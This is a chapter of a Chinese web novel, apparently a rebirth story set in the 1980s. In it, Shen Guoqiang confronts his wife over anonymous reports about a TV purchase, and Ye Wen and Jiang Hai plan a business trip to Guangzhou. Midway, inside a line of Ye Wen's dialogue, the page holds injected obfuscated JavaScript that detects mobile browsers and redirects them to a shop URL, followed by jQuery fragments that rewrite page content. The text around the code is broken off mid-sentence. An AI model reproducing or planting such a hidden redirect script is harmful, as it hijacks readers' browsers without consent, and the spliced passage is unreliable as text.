晚饭点的时候，沈国强正站在商店门口的公用电话柜台前，手里握着那个被磨得油亮的黑色听筒。电话是从苏省厂里打来的，那一头正是他的二叔沈建国。


    沈国强先是汇报了一下北城的最新进展。提到电视机厂的那个王科长，他的态度已经从刚到北城时候的一筹莫展，到现在语气中多了几分难掩的自信：“二叔，王科长那边虽然没有最后拍板，但是这几天我看他对我们厂的印象分已经不错，签约应该问题不大。”


    电话那头的沈建国先是肯定了他最近的成绩和努力，然后说了最近采购的那台彩电。“那台彩电，驾驶员小王已经带回来，送到厂长家了。李厂长跟我说，那小日本的技术确实先进，画质清晰。他还说你脑子灵活，是个能干实事的。”


    沈国强闻言，脸上也是掩饰不住的喜色：“那是二叔教得好。事情做好了，才不会给二叔丢脸。”


    “不过，今天下午，北城那边的那个工商局给咱们厂办打了个协查电话。”沈建国话题一转，语气有些严肃起来。


    “北城工商局？”沈国强愣了一下，“查什么？”


    “人家来核实，咱们是不是在个体户那儿违规购买进口电器。还确认我们这笔维修费是不是虚假报销。”


    这事沈国强和沈建国包括厂办的人都清楚，李厂长虽然私底下把买电视的钱不给了财务科，但是这桩买卖毕竟是走了厂里的名义。要是被工商局定性为私下购买进口物资，那这就属于私自利用职务之便。到时候沈国强这个经办人不用说，甚至可能连累李厂长。


    “二叔，这怎么会找到厂里去的？”沈国强想到这里，声音都有些发虚。


    “说是工商和税务部门收到了举报，而且是连续好几封。”沈建国叹了口气：“幸好你买电视那家负责人也是个明白人。一口咬定是修理费用，而且他们那手续齐全，账也做的合规。工商局今天也就只是核实真假，没有多问。”


    “但是国强啊，”沈建国的声音变得语重心长：“这事儿也多亏对方做得漂亮，但凡找到个不靠谱的厂家，这麻烦真是可大可小啊。”


    “二叔给你打这个电话也不为了责怪你。只是工商局的同志说，街道的举报信里，对你买电视的时间、价格，都写得清清楚楚……”


    “这个电话就给你来个提醒，”沈建国继续不紧不慢地说：“以后在外面一言一行都要留意，言多必失。你回头好好想想，是不是什么时候说错话了，被人给盯上了，要这么害你？


    沈国强听到这里，心里“咯噔”一下，脸色瞬间阴沉下来。他能确定自己没有出去多说什么，能对细节知道的这么清楚的只有赵秀丽。他脑中浮现出赵秀丽这几天神神叨叨的举动，简直气得要呕血了。这个头发长见识短的蠢女人，除了她还有谁？


    “二叔，我知道了，以后我一定注意。”沈国强羞愧得满面通红，更是有苦难言。自己老婆差点把自己和整个工厂举报了，他怎么能说得出口？


    挂完电话后，沈国强努力调整一下已经有些僵硬的肌肉，甩了甩发酸的手臂，礼貌地付钱给看电话的孙大妈。


    他面上不见任何异色，只是心里已经骂了赵秀丽一万次了。这个蠢货，这次如果不跟她交代清楚，他沈国强迟早要交代在她手里。


    回到家后，赵秀丽正坐在饭桌前发呆。面前的两盘菜早就放在那了，已经没了热气。看到沈国强进门，她连忙迎了上去：“电话怎么说了这么久啊？是二叔找你吗？”


    “秀丽，你别忙活了，坐下说吧。”沈国强扶了扶鼻梁上的眼镜，脸上看不出悲喜：“你是不是觉得自己特别聪明？”


    “啊？”赵秀丽一脸不明所以：“什么？”


    “写举报信，举报叶雯他们非法卖进口机。”沈国强语气依然平稳，“你以为自己终于出气了是吗？”


    赵秀丽张了张嘴，想要辩解。


    “不用否认，毕竟人家工商局说了，举报信好几封，而且对我买的电视机所有一切都知道的清清楚楚。这件是出了我，就只有你了。”沈国强摇了摇头，语气里带着浓浓的失望：“秀丽，原来你那么识大体、知进退，帮了我那么多忙。所以这次你要来，我也求二叔给你申请了北城名额。可现在的你，眼皮子怎么变得这么浅了？”


    “国强哥，我，我真的是为了你。”赵秀丽急得眼泪都快出来了：“我咽不下叶雯坑了你这么多的钱？”


    “你这是在害我！”“叶雯那是解决了我的大麻烦，如果不是他们那有这机器，我哪能完成厂长交代的任务？而且这次多亏了人家，要不然不止我，连李厂长都要被连累！”


    沈国强看着赵秀丽，换上一副严肃的表情：“这次你要是举报成功了，那等于是举报我违反记录。你这等于是拿刀子捅我！”


    赵秀丽真的慌了。她以为只会让叶雯倒霉，却没想到差点毁了自己丈夫的前程。


    看着眼前这个一把鼻涕一把泪的妻子，沈国强掩饰住心里的烦闷。他从口袋里掏出手帕递过去：“行了，别哭了。不然院子里其他人家都听到了。”


    等到赵秀丽擦了两把眼泪后，他继续说：“这次的事，就当买个教训。以后你不要擅自做主，做什么事之前提前跟我说。你跟我说的，我以后是要干大事的人。我希望你不要是那个扯我后腿的人。”


    沈国强说完便起身去洗漱了，看都没看桌上的饭菜。赵秀丽呆呆地坐在桌前，叶雯已的命运跟上辈子完全不同了，而国强怎么也不全是记忆中的温文尔雅，怎么一切都偏离了她的记忆？


    —


    而此刻。槐树巷的东厢房里，叶雯正盘腿坐在椅子上，面前桌上摊开一张全国地图。她手里的铅笔在南方那座靠海的城市画了个圈。那是改革开放的试验点，也是所有创业掘金者的天堂。


    “我感觉我们目前这个修旧利废模式，还是太被动了。有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460849|194793||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    材料才能开工赚钱，没有就只能眼睁睁看着客户去别家。”她边说边在地图上画了一条线，“我在想，我们是不是可以找个时间先去羊城，去探探真正的货源。而且说不定后面政策会越来越松动，说不定哪天我们还能真正生产、销售家电，而不是只是挂着修理的外壳。”


    不知道是灯泡太亮还是天气已经转暖了，叶雯说完后，只觉得屋里有点闷，感觉额角的头发黏黏地贴在了脸上。她下意识地伸手扇了扇风。


    旁边一阵凉风，突然飘了过来。叶雯转头一看，江海不知道哪里找来的一把蒲扇，正对着她扇动着。那风的力度、节奏都控制的刚刚好，瞬间吹散了她脸侧的燥热。


    “风大吗？”江海问。


    “正好。不用你扇了，你修理一天机器还不累吗！”叶雯心中微微动，她刚也就随手扇了两下而已。


    “不累。我正好活动活动手臂。”


    叶雯：……


    她索性也不去管他，目光重新看向地图：“要不我们暑假去一趟羊城？店里现在有他们看着，也不耽误事。”


    江海抬眼看了下墙上的挂历，手里的动作却没停。“还有一个多月。”他已经默默算好了时间：“那时候羊城是不是最热的时候？还不怎么安全。”


    “是的。”叶雯也转过身来，正对着江海，“我看报纸上说，那边挺乱的，火车站很多扒手，而且还容易被抢。汽车也不安全，有些地方有车匪路霸什么的，专门截陌生牌照的货。”


    “所以，真去的话肯定不轻松。江海，如果我们真要遇到事，可能连回来的路费都得搭进去。”


    江海因为她正对着自己，手上扇风的动作变得轻柔了许多。


    “没事，还有一个多月的时间。”江海对上她的目光，“我明天开始好好练练拳脚。”


    “还有，最近我周末就去火车站转转，找几个跑南线的倒爷聊聊，探探情况。”不待她说什么，江海已经认真地在脑中模拟暑假出行的所需的准备。在他的概念里，是否去羊城是由叶雯决定，而他只需要关心怎么去以及怎么带她安全往返。


    灯光下，这个年轻男人的侧脸轮廓分明，眉眼间带着股还没完全褪去的戾气，但看向叶雯的时候，只剩温驯。


    叶雯笑了笑，觉得突然冒出一股莫名暖意，将她整个人都安全地包围着。认识江海之后，哪怕她准备奔赴的刀山火海，他也是毫无异议地做好一切的准备。


    “好啊！”叶雯嘴角勾起一个好看的弧度，眼睛弯弯地像月牙：“好了，我不热了，真不用扇风了。”


    江海这才停下了手中的动作。只见叶雯伸出一只手，像是邀约：“江海，说不定在将来，我们真的能做出海雯家电呢。祝我们一起顺利，马到成功！”


    江海看着眼前这只白皙的手掌，迟疑了半秒，他伸出自己那只布满薄茧的大手，握了上去。


    “嗯！”他郑重地应了一声。